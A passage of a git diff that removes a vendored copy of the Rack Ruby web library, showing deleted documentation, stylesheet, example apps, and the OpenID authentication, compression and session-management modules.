- new (Rack::MockResponse)
- new (Rack::Reloader)
- new (Rack::Lint)
- new (Rack::ShowExceptions)
- new (Rack::MockRequest)
- new (Rack::Utils::HeaderHash)
- new (Rack::Utils::Context)
- new (Rack::Request)
- new (Rack::ContentLength)
- new (Rack::File)
- new (Rack::ForwardRequest)
- new (Rack::Response)
- new (Rack::Adapter::Camping)
- new (Rack::Handler::Mongrel)
- new (Rack::Session::Memcache)
- new (Rack::Builder)
- new (Rack::Session::Cookie)
- new (Rack::Cascade)
- new (Rack::Session::Pool)
- new (Rack::Deflater)
- new (Rack::Auth::OpenID)
- new (Rack::Head)
- new (Rack::CommonLogger)
- new (Rack::Forwarder)
- new (Rack::ConditionalGet)
- new (Rack::Directory)
- new (Rack::ShowStatus)
- new (Rack::URLMap)
- new (Rack::MethodOverride)
- new (Rack::Recursive)
- new (Rack::Static)
- new (Rack::Handler::SCGI)
- new (Rack::Handler::WEBrick)
- not_found (Rack::File)
- not_found? (Rack::Response::Helpers)
- ok? (Rack::Response::Helpers)
- params (Rack::Request)
- parse_multipart (Rack::Utils::Multipart)
- parse_query (Rack::Utils)
- path_info (Rack::Request)
- path_info= (Rack::Request)
- port (Rack::Request)
- post (Rack::MockRequest)
- post? (Rack::Request)
- pretty (Rack::ShowExceptions)
- pretty_print (Rack::Utils::Context)
- process (Rack::Handler::Mongrel)
- process_request (Rack::Handler::SCGI)
- put (Rack::MockRequest)
- put? (Rack::Request)
- puts (Rack::MockRequest::FatalWarner)
- query_string (Rack::Request)
- redirect? (Rack::Response::Helpers)
- redirection? (Rack::Response::Helpers)
- referer (Rack::Request)
- referrer (Rack::Request)
- register (Rack::Handler)
- release (Rack)
- reload! (Rack::Reloader)
- request (Rack::MockRequest)
- request_method (Rack::Request)
- run (Rack::Handler::CGI)
- run (Rack::Builder)
- run (Rack::Handler::Mongrel)
- run (Rack::Handler::FastCGI)
- run (Rack::Handler::WEBrick)
- run (Rack::Handler::LSWS)
- run (Rack::Handler::Thin)
- run (Rack::Handler::SCGI)
- scheme (Rack::Request)
- script_name (Rack::Request)
- script_name= (Rack::Request)
- select_best_encoding (Rack::Utils)
- send_body (Rack::Handler::LSWS)
- send_body (Rack::Handler::FastCGI)
- send_body (Rack::Handler::CGI)
- send_headers (Rack::Handler::FastCGI)
- send_headers (Rack::Handler::CGI)
- send_headers (Rack::Handler::LSWS)
- serve (Rack::Handler::FastCGI)
- serve (Rack::Handler::LSWS)
- serve (Rack::Handler::CGI)
- server_error? (Rack::Response::Helpers)
- service (Rack::Handler::WEBrick)
- serving (Rack::File)
- set_cookie (Rack::Response)
- stat (Rack::Directory)
- string (Rack::MockRequest::FatalWarner)
- successful? (Rack::Response::Helpers)
- to_a (Rack::Response)
- to_app (Rack::Builder)
- to_hash (Rack::Utils::HeaderHash)
- unescape (Rack::Utils)
- url (Rack::Request)
- use (Rack::Builder)
- username (Rack::Auth::Basic::Request)
- values_at (Rack::Request)
- version (Rack)
- write (Rack::MockRequest::FatalWarner)
- write (Rack::Response)
- xhr? (Rack::Request)
-
-
- - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/index.html b/vendor/plugins/rack/doc/index.html deleted file mode 100644 index 4ece7807..00000000 --- a/vendor/plugins/rack/doc/index.html +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - - Rack Documentation - - - - - - - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/rdoc-style.css b/vendor/plugins/rack/doc/rdoc-style.css deleted file mode 100644 index 44c7b3d1..00000000 --- a/vendor/plugins/rack/doc/rdoc-style.css +++ /dev/null @@ -1,208 +0,0 @@ - -body { - font-family: Verdana,Arial,Helvetica,sans-serif; - font-size: 90%; - margin: 0; - margin-left: 40px; - padding: 0; - background: white; -} - -h1,h2,h3,h4 { margin: 0; color: #efefef; background: transparent; } -h1 { font-size: 150%; } -h2,h3,h4 { margin-top: 1em; } - -a { background: #eef; color: #039; text-decoration: none; } -a:hover { background: #039; color: #eef; } - -/* Override the base stylesheet's Anchor inside a table cell */ -td > a { - background: transparent; - color: #039; - text-decoration: none; -} - -/* and inside a section title */ -.section-title > a { - background: transparent; - color: #eee; - text-decoration: none; -} - -/* === Structural elements =================================== */ - -div#index { - margin: 0; - margin-left: -40px; - padding: 0; - font-size: 90%; -} - - -div#index a { - margin-left: 0.7em; -} - -div#index .section-bar { - margin-left: 0px; - padding-left: 0.7em; - background: #ccc; - font-size: small; -} - - -div#classHeader, div#fileHeader { - width: auto; - color: white; - padding: 0.5em 1.5em 0.5em 1.5em; - margin: 0; - margin-left: -40px; - border-bottom: 3px solid #006; -} - -div#classHeader a, div#fileHeader a { - background: inherit; - color: white; -} - -div#classHeader td, div#fileHeader td { - background: inherit; - color: white; -} - - -div#fileHeader { - background: #057; -} - -div#classHeader { - background: #048; -} - - -.class-name-in-header { - font-size: 180%; - font-weight: bold; -} - - -div#bodyContent { - padding: 0 1.5em 0 1.5em; -} - -div#description { - padding: 0.5em 1.5em; - background: #efefef; - border: 1px dotted #999; -} - -div#description h1,h2,h3,h4,h5,h6 { - color: #125;; - background: transparent; -} - -div#validator-badges { - text-align: center; -} -div#validator-badges img { border: 0; } - -div#copyright { - color: #333; - background: #efefef; - font: 0.75em sans-serif; - margin-top: 5em; - margin-bottom: 0; - padding: 0.5em 2em; -} - - -/* === Classes =================================== */ - -table.header-table { - color: white; - font-size: small; -} - -.type-note { - font-size: small; - color: #DEDEDE; -} - -.xxsection-bar { - background: #eee; - color: #333; - padding: 3px; -} - -.section-bar { - color: #333; - border-bottom: 1px solid #999; - margin-left: -20px; -} - - -.section-title { - background: #79a; - color: #eee; - padding: 3px; - margin-top: 2em; - margin-left: -30px; - border: 1px solid #999; -} - -.top-aligned-row { vertical-align: top } -.bottom-aligned-row { vertical-align: bottom } - -/* --- Context section classes ----------------------- */ - -.context-row { } -.context-item-name { font-family: monospace; font-weight: bold; color: black; } -.context-item-value { font-size: small; color: #448; } -.context-item-desc { color: #333; padding-left: 2em; } - -/* --- Method classes -------------------------- */ -.method-detail { - background: #efefef; - padding: 0; - margin-top: 0.5em; - margin-bottom: 1em; - border: 1px dotted #ccc; -} -.method-heading { - color: black; - background: #ccc; - border-bottom: 1px solid #666; - padding: 0.2em 0.5em 0 0.5em; -} -.method-signature { color: black; background: inherit; } -.method-name { font-weight: bold; } -.method-args { font-style: italic; } -.method-description { padding: 0 0.5em 0 0.5em; } - -/* --- Source code sections -------------------- */ - -a.source-toggle { font-size: 90%; } -div.method-source-code { - background: #262626; - color: #ffdead; - margin: 1em; - padding: 0.5em; - border: 1px dashed #999; - overflow: hidden; -} - -div.method-source-code pre { color: #ffdead; overflow: hidden; } - -/* --- Ruby keyword styles --------------------- */ - -.standalone-code { background: #221111; color: #ffdead; overflow: hidden; } - -.ruby-constant { color: #7fffd4; background: transparent; } -.ruby-keyword { color: #00ffff; background: transparent; } -.ruby-ivar { color: #eedd82; background: transparent; } -.ruby-operator { color: #00ffee; background: transparent; } -.ruby-identifier { color: #ffdead; background: transparent; } -.ruby-node { color: #ffa07a; background: transparent; } -.ruby-comment { color: #b22222; font-weight: bold; background: transparent; } -.ruby-regexp { color: #ffa07a; background: transparent; } -.ruby-value { color: #7fffd4; background: transparent; } \ No newline at end of file diff --git a/vendor/plugins/rack/example/lobster.ru b/vendor/plugins/rack/example/lobster.ru deleted file mode 100644 index cc7ffcae..00000000 --- a/vendor/plugins/rack/example/lobster.ru +++ /dev/null @@ -1,4 +0,0 @@ -require 'rack/lobster' - -use Rack::ShowExceptions -run Rack::Lobster.new diff --git a/vendor/plugins/rack/example/protectedlobster.rb b/vendor/plugins/rack/example/protectedlobster.rb deleted file mode 100644 index 108b9d05..00000000 --- a/vendor/plugins/rack/example/protectedlobster.rb +++ /dev/null @@ -1,14 +0,0 @@ -require 'rack' -require 'rack/lobster' - -lobster = Rack::Lobster.new - -protected_lobster = Rack::Auth::Basic.new(lobster) do |username, password| - 'secret' == password -end - -protected_lobster.realm = 'Lobster 2.0' - -pretty_protected_lobster = Rack::ShowStatus.new(Rack::ShowExceptions.new(protected_lobster)) - -Rack::Handler::WEBrick.run pretty_protected_lobster, :Port => 9292 diff --git a/vendor/plugins/rack/example/protectedlobster.ru b/vendor/plugins/rack/example/protectedlobster.ru deleted file mode 100644 index 29a9de35..00000000 --- a/vendor/plugins/rack/example/protectedlobster.ru +++ /dev/null @@ -1,8 +0,0 @@ -require 'rack/lobster' - -use Rack::ShowExceptions -use Rack::Auth::Basic do |username, password| - 'secret' == password -end - -run Rack::Lobster.new diff --git a/vendor/plugins/rack/lib/rack/auth/openid.rb b/vendor/plugins/rack/lib/rack/auth/openid.rb deleted file mode 100644 index 14eeddd3..00000000 --- a/vendor/plugins/rack/lib/rack/auth/openid.rb +++ /dev/null @@ -1,438 +0,0 @@ -# AUTHOR: blink ; blink#ruby-lang@irc.freenode.net - -gem 'ruby-openid', '~> 2' if defined? Gem -require 'rack/auth/abstract/handler' #rack -require 'uri' #std -require 'pp' #std -require 'openid' #gem -require 'openid/extension' #gem -require 'openid/store/memory' #gem - -module Rack - module Auth - # Rack::Auth::OpenID provides a simple method for permitting - # openid based logins. It requires the ruby-openid library from - # janrain to operate, as well as a rack method of session management. - # - # The ruby-openid home page is at http://openidenabled.com/ruby-openid/. - # - # The OpenID specifications can be found at - # http://openid.net/specs/openid-authentication-1_1.html - # and - # http://openid.net/specs/openid-authentication-2_0.html. Documentation - # for published OpenID extensions and related topics can be found at - # http://openid.net/developers/specs/. - # - # It is recommended to read through the OpenID spec, as well as - # ruby-openid's documentation, to understand what exactly goes on. However - # a setup as simple as the presented examples is enough to provide - # functionality. - # - # This library strongly intends to utilize the OpenID 2.0 features of the - # ruby-openid library, while maintaining OpenID 1.0 compatiblity. - # - # All responses from this rack application will be 303 redirects unless an - # error occurs, with the exception of an authentication request requiring - # an HTML form submission. - # - # NOTE: Extensions are not currently supported by this implimentation of - # the OpenID rack application due to the complexity of the current - # ruby-openid extension handling. - # - # NOTE: Due to the amount of data that this library stores in the - # session, Rack::Session::Cookie may fault. - class OpenID < AbstractHandler - class NoSession < RuntimeError; end - # Required for ruby-openid - OIDStore = ::OpenID::Store::Memory.new - HTML = '%s%s' - - # A Hash of options is taken as it's single initializing - # argument. For example: - # - # simple_oid = OpenID.new('http://mysite.com/') - # - # return_oid = OpenID.new('http://mysite.com/', { - # :return_to => 'http://mysite.com/openid' - # }) - # - # page_oid = OpenID.new('http://mysite.com/', - # :login_good => 'http://mysite.com/auth_good' - # ) - # - # complex_oid = OpenID.new('http://mysite.com/', - # :return_to => 'http://mysite.com/openid', - # :login_good => 'http://mysite.com/user/preferences', - # :auth_fail => [500, {'Content-Type'=>'text/plain'}, - # 'Unable to negotiate with foreign server.'], - # :immediate => true, - # :extensions => { - # ::OpenID::SReg => [['email'],['nickname']] - # } - # ) - # - # = Arguments - # - # The first argument is the realm, identifying the site they are trusting - # with their identity. This is required. - # - # NOTE: In OpenID 1.x, the realm or trust_root is optional and the - # return_to url is required. As this library strives tward ruby-openid - # 2.0, and OpenID 2.0 compatibiliy, the realm is required and return_to - # is optional. However, this implimentation is still backwards compatible - # with OpenID 1.0 servers. - # - # The optional second argument is a hash of options. - # - # == Options - # - # :return_to defines the url to return to after the client - # authenticates with the openid service provider. This url should point - # to where Rack::Auth::OpenID is mounted. If :return_to is not - # provided, :return_to will be the current url including all query - # parameters. - # - # :session_key defines the key to the session hash in the env. - # It defaults to 'rack.session'. - # - # :openid_param defines at what key in the request parameters to - # find the identifier to resolve. As per the 2.0 spec, the default is - # 'openid_identifier'. - # - # :immediate as true will make immediate type of requests the - # default. See OpenID specification documentation. - # - # === URL options - # - # :login_good is the url to go to after the authentication - # process has completed. - # - # :login_fail is the url to go to after the authentication - # process has failed. - # - # :login_quit is the url to go to after the authentication - # process - # has been cancelled. - # - # === Response options - # - # :no_session should be a rack response to be returned if no or - # an incompatible session is found. - # - # :auth_fail should be a rack response to be returned if an - # OpenID::DiscoveryFailure occurs. This is typically due to being unable - # to access the identity url or identity server. - # - # :error should be a rack response to return if any other - # generic error would occur and options[:catch_errors] is true. - # - # === Extensions - # - # :extensions should be a hash of openid extension - # implementations. The key should be the extension main module, the value - # should be an array of arguments for extension::Request.new - # - # The hash is iterated over and passed to #add_extension for processing. - # Please see #add_extension for further documentation. - def initialize(realm, options={}) - @realm = realm - realm = URI(realm) - if realm.path.empty? - raise ArgumentError, "Invalid realm path: '#{realm.path}'" - elsif not realm.absolute? - raise ArgumentError, "Realm '#{@realm}' not absolute" - end - - [:return_to, :login_good, :login_fail, :login_quit].each do |key| - if options.key? key and luri = URI(options[key]) - if !luri.absolute? - raise ArgumentError, ":#{key} is not an absolute uri: '#{luri}'" - end - end - end - - if options[:return_to] and ruri = URI(options[:return_to]) - if ruri.path.empty? - raise ArgumentError, "Invalid return_to path: '#{ruri.path}'" - elsif realm.path != ruri.path[0, realm.path.size] - raise ArgumentError, 'return_to not within realm.' \ - end - end - - # TODO: extension support - if extensions = options.delete(:extensions) - extensions.each do |ext, args| - add_extension ext, *args - end - end - - @options = { - :session_key => 'rack.session', - :openid_param => 'openid_identifier', - #:return_to, :login_good, :login_fail, :login_quit - #:no_session, :auth_fail, :error - :store => OIDStore, - :immediate => false, - :anonymous => false, - :catch_errors => false - }.merge(options) - @extensions = {} - end - - attr_reader :options, :extensions - - # It sets up and uses session data at :openid within the - # session. It sets up the ::OpenID::Consumer using the store specified by - # options[:store]. - # - # If the parameter specified by options[:openid_param] is - # present, processing is passed to #check and the result is returned. - # - # If the parameter 'openid.mode' is set, implying a followup from the - # openid server, processing is passed to #finish and the result is - # returned. - # - # If neither of these conditions are met, a 400 error is returned. - # - # If an error is thrown and options[:catch_errors] is false, the - # exception will be reraised. Otherwise a 500 error is returned. - def call(env) - env['rack.auth.openid'] = self - session = env[@options[:session_key]] - unless session and session.is_a? Hash - raise(NoSession, 'No compatible session') - end - # let us work in our own namespace... - session = (session[:openid] ||= {}) - unless session and session.is_a? Hash - raise(NoSession, 'Incompatible session') - end - - request = Rack::Request.new env - consumer = ::OpenID::Consumer.new session, @options[:store] - - if request.params['openid.mode'] - finish consumer, session, request - elsif request.params[@options[:openid_param]] - check consumer, session, request - else - env['rack.errors'].puts "No valid params provided." - bad_request - end - rescue NoSession - env['rack.errors'].puts($!.message, *$@) - - @options. ### Missing or incompatible session - fetch :no_session, [ 500, - {'Content-Type'=>'text/plain'}, - $!.message ] - rescue - env['rack.errors'].puts($!.message, *$@) - - if not @options[:catch_error] - raise($!) - end - @options. - fetch :error, [ 500, - {'Content-Type'=>'text/plain'}, - 'OpenID has encountered an error.' ] - end - - # As the first part of OpenID consumer action, #check retrieves the data - # required for completion. - # - # * session[:openid][:openid_param] is set to the submitted - # identifier to be authenticated. - # * session[:openid][:site_return] is set as the request's - # HTTP_REFERER, unless already set. - # * env['rack.auth.openid.request'] is the openid checkid - # request instance. - def check(consumer, session, req) - session[:openid_param] = req.params[@options[:openid_param]] - oid = consumer.begin(session[:openid_param], @options[:anonymous]) - pp oid if $DEBUG - req.env['rack.auth.openid.request'] = oid - - session[:site_return] ||= req.env['HTTP_REFERER'] - - # SETUP_NEEDED check! - # see OpenID::Consumer::CheckIDRequest docs - query_args = [@realm, *@options.values_at(:return_to, :immediate)] - query_args[1] ||= req.url - query_args[2] = false if session.key? :setup_needed - pp query_args if $DEBUG - - ## Extension support - extensions.each do |ext,args| - oid.add_extension ext::Request.new(*args) - end - - if oid.send_redirect?(*query_args) - redirect = oid.redirect_url(*query_args) - if $DEBUG - pp redirect - pp Rack::Utils.parse_query(URI(redirect).query) - end - [ 303, {'Location'=>redirect}, [] ] - else - # check on 'action' option. - formbody = oid.form_markup(*query_args) - if $DEBUG - pp formbody - end - body = HTML % ['Confirm...', formbody] - [ 200, {'Content-Type'=>'text/html'}, body.to_a ] - end - rescue ::OpenID::DiscoveryFailure => e - # thrown from inside OpenID::Consumer#begin by yadis stuff - req.env['rack.errors'].puts($!.message, *$@) - - @options. ### Foreign server failed - fetch :auth_fail, [ 503, - {'Content-Type'=>'text/plain'}, - 'Foreign server failure.' ] - end - - # This is the final portion of authentication. Unless any errors outside - # of specification occur, a 303 redirect will be returned with Location - # determined by the OpenID response type. If none of the response type - # :login_* urls are set, the redirect will be set to - # session[:openid][:site_return]. If - # session[:openid][:site_return] is unset, the realm will be - # used. - # - # Any messages from OpenID's response are appended to the 303 response - # body. - # - # Data gathered from extensions are stored in session[:openid] with the - # extension's namespace uri as the key. - # - # * env['rack.auth.openid.response'] is the openid response. - # - # The four valid possible outcomes are: - # * failure: options[:login_fail] or - # session[:site_return] or the realm - # * session[:openid] is cleared and any messages are send to - # rack.errors - # * session[:openid]['authenticated'] is false - # * success: options[:login_good] or - # session[:site_return] or the realm - # * session[:openid] is cleared - # * session[:openid]['authenticated'] is true - # * session[:openid]['identity'] is the actual identifier - # * session[:openid]['identifier'] is the pretty identifier - # * cancel: options[:login_good] or - # session[:site_return] or the realm - # * session[:openid] is cleared - # * session[:openid]['authenticated'] is false - # * setup_needed: resubmits the authentication request. A flag is set for - # non-immediate handling. - # * session[:openid][:setup_needed] is set to true, - # which will prevent immediate style openid authentication. - def finish(consumer, session, req) - oid = consumer.complete(req.params, req.url) - pp oid if $DEBUG - req.env['rack.auth.openid.response'] = oid - - goto = session.fetch :site_return, @realm - body = [] - - case oid.status - when ::OpenID::Consumer::FAILURE - session.clear - session['authenticated'] = false - req.env['rack.errors'].puts oid.message - - goto = @options[:login_fail] if @options.key? :login_fail - body << "Authentication unsuccessful.\n" - when ::OpenID::Consumer::SUCCESS - session.clear - - ## Extension support - extensions.each do |ext, args| - session[ext::NS_URI] = ext::Response. - from_success_response(oid). - get_extension_args - end - - session['authenticated'] = true - # Value for unique identification and such - session['identity'] = oid.identity_url - # Value for display and UI labels - session['identifier'] = oid.display_identifier - - goto = @options[:login_good] if @options.key? :login_good - body << "Authentication successful.\n" - when ::OpenID::Consumer::CANCEL - session.clear - session['authenticated'] = false - - goto = @options[:login_fail] if @options.key? :login_fail - body << "Authentication cancelled.\n" - when ::OpenID::Consumer::SETUP_NEEDED - session[:setup_needed] = true - unless o_id = session[:openid_param] - raise('Required values missing.') - end - - goto = req.script_name+ - '?'+@options[:openid_param]+ - '='+o_id - body << "Reauthentication required.\n" - end - body << oid.message if oid.message - [ 303, {'Location'=>goto}, body] - end - - # The first argument should be the main extension module. - # The extension module should contain the constants: - # * class Request, with OpenID::Extension as an ancestor - # * class Response, with OpenID::Extension as an ancestor - # * string NS_URI, which defines the namespace of the extension, should - # be an absolute http uri - # - # All trailing arguments will be passed to extension::Request.new in - # #check. - # The openid response will be passed to - # extension::Response#from_success_response, #get_extension_args will be - # called on the result to attain the gathered data. - # - # This method returns the key at which the response data will be found in - # the session, which is the namespace uri by default. - def add_extension ext, *args - if not ext.is_a? Module - raise TypeError, "#{ext.inspect} is not a module" - elsif !(m = %w'Request Response NS_URI' - - ext.constants.map{ |c| c.to_s }).empty? - raise ArgumentError, "#{ext.inspect} missing #{m*', '}" - end - - consts = [ext::Request, ext::Response] - - if not consts.all?{|c| c.is_a? Class } - raise TypeError, "#{ext.inspect}'s Request or Response is not a class" - elsif not consts.all?{|c| ::OpenID::Extension > c } - raise ArgumentError, "#{ext.inspect}'s Request or Response not a decendant of OpenID::Extension" - end - - if not ext::NS_URI.is_a? String - raise TypeError, "#{ext.inspect}'s NS_URI is not a string" - elsif not uri = URI(ext::NS_URI) - raise ArgumentError, "#{ext.inspect}'s NS_URI is not a valid uri" - elsif not uri.scheme =~ /^https?$/ - raise ArgumentError, "#{ext.inspect}'s NS_URI is not an http uri" - elsif not uri.absolute? - raise ArgumentError, "#{ext.inspect}'s NS_URI is not and absolute uri" - end - @extensions[ext] = args - return ext::NS_URI - end - - # A conveniance method that returns the namespace of all current - # extensions used by this instance. - def extension_namespaces - @extensions.keys.map{|e|e::NS_URI} - end - end - end -end diff --git a/vendor/plugins/rack/lib/rack/deflater.rb b/vendor/plugins/rack/lib/rack/deflater.rb deleted file mode 100644 index 7dcc601c..00000000 --- a/vendor/plugins/rack/lib/rack/deflater.rb +++ /dev/null @@ -1,87 +0,0 @@ -require "zlib" -require "stringio" -require "time" # for Time.httpdate - -module Rack - -class Deflater - def initialize(app) - @app = app - end - - def call(env) - status, headers, body = @app.call(env) - headers = Utils::HeaderHash.new(headers) - - # Skip compressing empty entity body responses and responses with - # no-transform set. - if Utils::STATUS_WITH_NO_ENTITY_BODY.include?(status) || - headers['Cache-Control'].to_s =~ /\bno-transform\b/ - return [status, headers, body] - end - - request = Request.new(env) - - encoding = Utils.select_best_encoding(%w(gzip deflate identity), - request.accept_encoding) - - # Set the Vary HTTP header. - vary = headers["Vary"].to_s.split(",").map { |v| v.strip } - unless vary.include?("*") || vary.include?("Accept-Encoding") - headers["Vary"] = vary.push("Accept-Encoding").join(",") - end - - case encoding - when "gzip" - mtime = if headers.key?("Last-Modified") - Time.httpdate(headers["Last-Modified"]) - else - Time.now - end - [status, - headers.merge("Content-Encoding" => "gzip"), - self.class.gzip(body, mtime)] - when "deflate" - [status, - headers.merge("Content-Encoding" => "deflate"), - self.class.deflate(body)] - when "identity" - [status, headers, body] - when nil - message = ["An acceptable encoding for the requested resource #{request.fullpath} could not be found."] - [406, {"Content-Type" => "text/plain"}, message] - end - end - - def self.gzip(body, mtime) - io = StringIO.new - gzip = Zlib::GzipWriter.new(io) - gzip.mtime = mtime - - # TODO: Add streaming - body.each { |part| gzip << part } - - gzip.close - return io.string - end - - DEFLATE_ARGS = [ - Zlib::DEFAULT_COMPRESSION, - # drop the zlib header which causes both Safari and IE to choke - -Zlib::MAX_WBITS, - Zlib::DEF_MEM_LEVEL, - Zlib::DEFAULT_STRATEGY - ] - - # Loosely based on Mongrel's Deflate handler - def self.deflate(body) - deflater = Zlib::Deflate.new(*DEFLATE_ARGS) - - # TODO: Add streaming - body.each { |part| deflater << part } - - return deflater.finish - end -end - -end diff --git a/vendor/plugins/rack/lib/rack/session/abstract/id.rb b/vendor/plugins/rack/lib/rack/session/abstract/id.rb deleted file mode 100644 index c521ba16..00000000 --- a/vendor/plugins/rack/lib/rack/session/abstract/id.rb +++ /dev/null @@ -1,153 +0,0 @@ -# AUTHOR: blink ; blink#ruby-lang@irc.freenode.net -# bugrep: Andreas Zehnder - -require 'rack/utils' -require 'time' - -module Rack - module Session - module Abstract - # ID sets up a basic framework for implementing an id based sessioning - # service. Cookies sent to the client for maintaining sessions will only - # contain an id reference. Only #get_session and #set_session should - # need to be overwritten. - # - # All parameters are optional. - # * :key determines the name of the cookie, by default it is - # 'rack.session' - # * :domain and :path set the related cookie values, by default - # domain is nil, and the path is '/'. - # * :expire_after is the number of seconds in which the session - # cookie will expire. By default it is set not to provide any - # expiry time. - class ID - attr_reader :key - DEFAULT_OPTIONS = { - :key => 'rack.session', - :path => '/', - :domain => nil, - :expire_after => nil, - :secure => false, - :httponly => true, - :sidbits => 128 - } - - def initialize(app, options={}) - @default_options = self.class::DEFAULT_OPTIONS.merge(options) - @key = @default_options[:key] - @default_context = context app - end - - def call(env) - @default_context.call(env) - end - - def context(app) - Rack::Utils::Context.new self, app do |env| - load_session env - response = app.call(env) - commit_session env, response - response - end - end - - private - - # Generate a new session id using Ruby #rand. The size of the - # session id is controlled by the :sidbits option. - # Monkey patch this to use custom methods for session id generation. - def generate_sid - "%0#{@default_options[:sidbits] / 4}x" % - rand(2**@default_options[:sidbits] - 1) - end - - # Extracts the session id from provided cookies and passes it and the - # environment to #get_session. It then sets the resulting session into - # 'rack.session', and places options and session metadata into - # 'rack.session.options'. - def load_session(env) - sid = (env['HTTP_COOKIE']||'')[/#{@key}=([^,;]+)/,1] - sid, session = get_session(env, sid) - unless session.is_a?(Hash) - puts 'Session: '+sid.inspect+"\n"+session.inspect if $DEBUG - raise TypeError, 'Session not a Hash' - end - - options = @default_options. - merge({ :id => sid, :by => self, :at => Time.now }) - - env['rack.session'] = session - env['rack.session.options'] = options - - return true - end - - # Acquires the session from the environment and the session id from - # the session options and passes them to #set_session. It then - # proceeds to set a cookie up in the response with the session's id. - def commit_session(env, response) - unless response.is_a?(Array) - puts 'Response: '+response.inspect if $DEBUG - raise ArgumentError, 'Response is not an array.' - end - - options = env['rack.session.options'] - unless options.is_a?(Hash) - puts 'Options: '+options.inspect if $DEBUG - raise TypeError, 'Options not a Hash' - end - - sid, time, z = options.values_at(:id, :at, :by) - unless self == z - warn "#{self} not managing this session." - return - end - - unless env['rack.session'].is_a?(Hash) - warn 'Session: '+sid.inspect+"\n"+session.inspect if $DEBUG - raise TypeError, 'Session not a Hash' - end - - unless set_session(env, sid) - warn "Session not saved." if $DEBUG - warn "#{env['rack.session'].inspect} has been lost."if $DEBUG - return false - end - - cookie = Utils.escape(@key)+'='+Utils.escape(sid) - cookie<< "; domain=#{options[:domain]}" if options[:domain] - cookie<< "; path=#{options[:path]}" if options[:path] - if options[:expire_after] - expiry = time + options[:expire_after] - cookie<< "; expires=#{expiry.httpdate}" - end - cookie<< "; Secure" if options[:secure] - cookie<< "; HttpOnly" if options[:httponly] - - case a = (h = response[1])['Set-Cookie'] - when Array then a << cookie - when String then h['Set-Cookie'] = [a, cookie] - when nil then h['Set-Cookie'] = cookie - end - - return true - end - - # Should return [session_id, session]. All thread safety and session - # retrival proceedures should occur here. - # If nil is provided as the session id, generation of a new valid id - # should occur within. - def get_session(env, sid) - raise '#get_session needs to be implemented.' - end - - # All thread safety and session storage proceedures should occur here. - # Should return true or false dependant on whether or not the session - # was saved or not. - def set_session(env, sid) - raise '#set_session needs to be implemented.' - end - end - end - end -end diff --git a/vendor/plugins/rack/lib/rack/session/memcache.rb b/vendor/plugins/rack/lib/rack/session/memcache.rb deleted file mode 100644 index d19af511..00000000 --- a/vendor/plugins/rack/lib/rack/session/memcache.rb +++ /dev/null @@ -1,97 +0,0 @@ -# AUTHOR: blink ; blink#ruby-lang@irc.freenode.net - -require 'rack/session/abstract/id' -require 'memcache' - -module Rack - module Session - # Rack::Session::Memcache provides simple cookie based session management. - # Session data is stored in memcached. The corresponding session key is - # maintained in the cookie. - # You may treat Session::Memcache as you would Session::Pool with the - # following caveats. - # - # * Setting :expire_after to 0 would note to the Memcache server to hang - # onto the session data until it would drop it according to it's own - # specifications. However, the cookie sent to the client would expire - # immediately. - # - # Note that memcache does drop data before it may be listed to expire. For - # a full description of behaviour, please see memcache's documentation. - - class Memcache < Abstract::ID - attr_reader :mutex, :pool - DEFAULT_OPTIONS = Abstract::ID::DEFAULT_OPTIONS.merge({ - :namespace => 'rack:session', - :memcache_server => 'localhost:11211' - }) - - def initialize(app, options={}) - super - @pool = MemCache.new @default_options[:memcache_server], @default_options - unless @pool.servers.any?{|s|s.alive?} - raise "#{self} unable to find server during initialization." - end - @mutex = Mutex.new - end - - private - - def get_session(env, sid) - session = sid && @pool.get(sid) - unless session and session.is_a?(Hash) - session = {} - lc = 0 - @mutex.synchronize do - begin - raise RuntimeError, 'Unique id finding looping excessively' if (lc+=1) > 1000 - sid = generate_sid - ret = @pool.add(sid, session) - end until /^STORED/ =~ ret - end - end - class << session - @deleted = [] - def delete key - (@deleted||=[]) << key - super - end - end - [sid, session] - rescue MemCache::MemCacheError, Errno::ECONNREFUSED # MemCache server cannot be contacted - warn "#{self} is unable to find server." - warn $!.inspect - return [ nil, {} ] - end - - def set_session(env, sid) - session = env['rack.session'] - options = env['rack.session.options'] - expiry = options[:expire_after] || 0 - o, s = @mutex.synchronize do - old_session = @pool.get(sid) - unless old_session.is_a?(Hash) - warn 'Session not properly initialized.' if $DEBUG - old_session = {} - @pool.add sid, old_session, expiry - end - session.instance_eval do - @deleted.each{|k| old_session.delete(k) } if defined? @deleted - end - @pool.set sid, old_session.merge(session), expiry - [old_session, session] - end - s.each do |k,v| - next unless o.has_key?(k) and v != o[k] - warn "session value assignment collision at #{k.inspect}:"+ - "\n\t#{o[k].inspect}\n\t#{v.inspect}" - end if $DEBUG and env['rack.multithread'] - return true - rescue MemCache::MemCacheError, Errno::ECONNREFUSED # MemCache server cannot be contacted - warn "#{self} is unable to find server." - warn $!.inspect - return false - end - end - end -end diff --git a/vendor/plugins/rack/lib/rack/session/pool.rb b/vendor/plugins/rack/lib/rack/session/pool.rb deleted file mode 100644 index 8e192d74..00000000 --- a/vendor/plugins/rack/lib/rack/session/pool.rb +++ /dev/null @@ -1,73 +0,0 @@ -# AUTHOR: blink ; blink#ruby-lang@irc.freenode.net -# THANKS: -# apeiros, for session id generation, expiry setup, and threadiness -# sergio, threadiness and bugreps - -require 'rack/session/abstract/id' -require 'thread' - -module Rack - module Session - # Rack::Session::Pool provides simple cookie based session management. - # Session data is stored in a hash held by @pool. - # In the context of a multithreaded environment, sessions being - # committed to the pool is done in a merging manner. - # - # Example: - # myapp = MyRackApp.new - # sessioned = Rack::Session::Pool.new(myapp, - # :key => 'rack.session', - # :domain => 'foo.com', - # :path => '/', - # :expire_after => 2592000 - # ) - # Rack::Handler::WEBrick.run sessioned - - class Pool < Abstract::ID - attr_reader :mutex, :pool - DEFAULT_OPTIONS = Abstract::ID::DEFAULT_OPTIONS.dup - - def initialize(app, options={}) - super - @pool = Hash.new - @mutex = Mutex.new - end - - private - - def get_session(env, sid) - session = @mutex.synchronize do - unless sess = @pool[sid] and ((expires = sess[:expire_at]).nil? or expires > Time.now) - @pool.delete_if{|k,v| expiry = v[:expire_at] and expiry < Time.now } - begin - sid = generate_sid - end while @pool.has_key?(sid) - end - @pool[sid] ||= {} - end - [sid, session] - end - - def set_session(env, sid) - options = env['rack.session.options'] - expiry = options[:expire_after] && options[:at]+options[:expire_after] - @mutex.synchronize do - old_session = @pool[sid] - old_session[:expire_at] = 